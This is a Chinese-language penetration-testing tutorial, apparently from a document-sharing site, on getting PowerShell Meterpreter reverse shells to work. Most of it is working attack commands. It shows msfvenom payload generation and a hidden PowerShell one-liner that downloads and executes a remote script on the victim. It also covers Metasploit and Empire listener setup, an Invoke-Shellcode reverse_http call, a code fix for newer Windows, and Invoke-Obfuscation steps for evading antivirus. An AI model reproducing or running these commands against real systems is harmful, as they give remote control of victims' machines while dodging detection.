Meterpreter powershell爬坑指南(已发)

  • 格式:docx
  • 大小:4.07 MB
  • 文档页数:11

Meterpreter powershell爬坑指南
PowerShell是运行在Windows操作系统上实现对系统以及应用程序进行管理自动化的
命令行脚本环境,PowerShell需要.NET环境的支持,使命令行用户可以调用系统环境很多
强大的功能,在渗透测试中后渗透阶段会用到payload进行反弹shell,powershell是一个
不错的选择。

本次测试使用了windows子系统 kali rolling
root@3sNwGeek:~# uname -a
Linux 3sNwGeek 4.4.0-17763-Microsoft #379-Microsoft Wed Mar 06 19:16:00 PST 2019
x86_64 GNU/Linux

Windows中的kali子系统最初是纯净版,无冗余服务和工具,自己需要什么就搭建什么,
比较轻便,可以减少vmware的端口转发和nat服务等网络疑难杂症,在windows应用商
店下载就好了,非常方便。
服务搭建Metasploit过程apt update; apt install metasploit-framework一条命令即可。
搭建好Metasploit后默认会有msfvenom,可以使用msfvenom生成powershell payload。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xx.xxx.xxx
LPORT=10086 -f psh-reflection --arch x64 --platform windows -f psh-reflection -o test.ps1

生成test.ps1文件,将ps1文件保存到公网服务器中。(实战中通常可以使用加入ctf中常
见的隐写手法)
在被攻击机执行命令:

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString(‘http://xxx.xx.xx.xxx/xx/test.ps1’);test.ps1"

开启msf进行接收shell
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 10086
exploit

结果测试在08server时可行,在高版本一点的windows中发现反弹一下就断开了。建议通
常实战中都是搭好跟目标一样的环境,开始尝试杀软能不能过,payload是否能正常运行。

根据报错信息调试一番无果后尝试使用Empire了。
https://github.com/empireProject/Empire

安装完成后:
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener meterpreter
(Empire: listeners/meterpreter) > set Host 192.168.1.3
(Empire: listeners/meterpreter) > execute
[*] Starting listener 'meterpreter'
[+] Listener successfully started!
(Empire: listeners/meterpreter) > launcher powershell

Powershell只是生成了一个Invoker-shellcode函数,调用它使用如下命令:
Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost IP地址 -Lport 端口
-Force

所以可以在靶机执行命令行执行:
C:\Users\Administrator>powershell -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://x’x’x’x’x/msfps1.txt');Invoke-Shellcode -Payload
windows/meterpreter/reverse_http -Lhost 192.168.1.3 -Lport 10088 -Force
但是在windows 1904版本以上会有报错,但将99行处的
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
修改为
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',
[reflection.bindingflags] "Public,Static", $null,
[System.Reflection.CallingConventions]::Any, @((New-Object
System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null)

修改后可以正常反弹shell。

chcp 65001可以更正msf编码显示问题
既然能成功运行,就可以考虑混淆免杀的问题
powershell混淆可以使用 Invoke-Obfuscation:
https://github.com/danielbohannon/Invoke-Obfuscation

Import-Module ./Invoke-Obfuscation.psd1;Invoke-Obfuscation
选择要混淆脚本的路径
set scriptpath C:\Users\Administrator\Desktop\msfps1.ps1

选择1,ascii编码
混淆完是这样的效果

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://xxx.xx.xx.xx/enc.txt');Invoke-Shellcode -Payload
windows/meterpreter/reverse_http -Lhost 192.168.1.123 -Lport 10088 -Force
总结:
powershell兼容windows 平台上其它调用,如可执行文件(exe),批处理bat和vbs等。
只要学会分析脚本,懂得分析别人写的,然后自己写一个类似的也不是太难问题。本文只是
用来生成meterpreter的payload,大家初步熟悉empire框架后可以深入学习其中真正
强大的后渗透功能模块。

昨天那篇powershell也建议通过,实验:PowerShell技术教程:
http://www.hetianlab.com/cour.do?w=1&c=Cee9320adea6e06201712151601250
0001(通过PowerShell技术教程,可以让大家对PowerShell基础知识有基本的
掌握,运用PowerShell技术实现windows服务器的运维和安全防护。)
放在最后就行